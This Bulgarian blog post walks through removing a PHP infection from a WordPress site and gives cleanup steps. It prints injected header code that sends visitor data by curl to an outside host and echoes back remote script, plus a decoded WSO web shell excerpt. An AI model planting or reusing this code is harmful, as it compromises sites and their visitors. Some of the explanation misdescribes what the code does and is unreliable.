Премахване WordPress PHP Virus

Този урок представя частен случай, когато блог WordPress то беше заразено. Премахване WordPress PHP вирус.

Онзи ден забелязах подозрителен код, който изглежда е PHP вирус за WordPress. Следният PHP код присъстваше в header.php, преди реда </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Това е някакъв PHP код, който изглежда сякаш се опитва да извлече съдържанието на ресурс от външен сървър, но частта, която препраща към URL адреса, е непълна.

Механизмът на работа е малко по-сложен и прави това WordPress PHP вирусът е невидим за посетителите на засегнатите сайтове. Вместо това, той е насочен към търсачките (Google) и имплицитно води до значително намаляване на броя на посетителите на засегнатите уебсайтове.

Подробности за злонамерения софтуер WordPress PHP Virus

1. Горният код присъства в header.php.

2. На сървъра се появи файл wp-log.php в папката wp-includes.

3. wp-log.php съдържа криптиран код, но който е относително лесен за дешифриране.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Дешифрирайте кода на зловреден софтуер от wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Изглежда, че това е злонамерен PHP скрипт, който съдържа код за обработка на удостоверяване и действия върху файлове и директории на сървър. Може да се види много лесно, че този скрипт съдържа променливи като $auth_pass (парола за удостоверяване), $default_action (действието по подразбиране), $default_use_ajax (използвайки Ajax по подразбиране) и $default_charset (настройка на знаците по подразбиране).

Очевидно този скрипт има раздел, който проверява HTTP потребителски агенти, за да блокира достъпа до определени уеб ботове, като например търсачки. Освен това има раздел, който проверява режима на защита на PHP и задава определени работни директории.

4. Ако се отвори wp-log.php в браузъра, се появява уеб страница с поле от влез. На пръв поглед изглежда, че това е файлов мениджър, чрез който новите файлове могат лесно да се качват на целевия сървър.

Как да девирусирате уебсайт WordPress?

Винаги ръчният процес на девирусиране включва първо откриване и разбиране каква е уязвимостта.

1. Генерирайте резервно копие за целия уебсайт. Това трябва да включва както файловете, така и базата данни.

2. Определете приблизително колко време съществува вирусът и потърсете в уеб сървъра модифицирани или новосъздадени файлове в рамките на приблизителната времева рамка.

Например, ако искате да видите файловете .php създадени или модифицирани през последната седмица, изпълнете командата в сървъра:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Това е прост метод, чрез който можете да разкриете файловете WordPress заразени и такива, съдържащи зловреден код.

3. Проверете файла .htaccess на подозрителни директиви. Редове за разрешения или изпълнение на скрипт.

4. Проверете базата данни. Напълно възможно е някои публикации и страници WordPress да бъдат редактирани със зловреден софтуер или добавени нови потребители с ролята на administrator.

5. Проверете разрешенията за запис на папки и файлове. chmod şi chown.

Препоръчителните разрешения са: 644 за файлове и 755 за директории.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Актуализирайте всички WordPress Plugins / WordPress Themes.

Свързани: Fix Redirect WordPress Hack 2023 (вирус за пренасочване)

Това са "основни" методи, чрез които можете да девирусирате уебсайт / блог WordPress. Ако имате проблеми и се нуждаете от помощ, секцията за коментари е отворена.

Като пасиониран по технологии, пиша с удоволствие в StealthSettings.com от 2006 г. Имам обширен опит с операционни системи: macOS, Windows и Linux, както и с програмни езици и платформи за блогове (WordPress) и онлайн магазини (WooCommerce, Magento, PrestaShop).

How to » WordPress » Премахване WordPress PHP Virus
Оставете коментар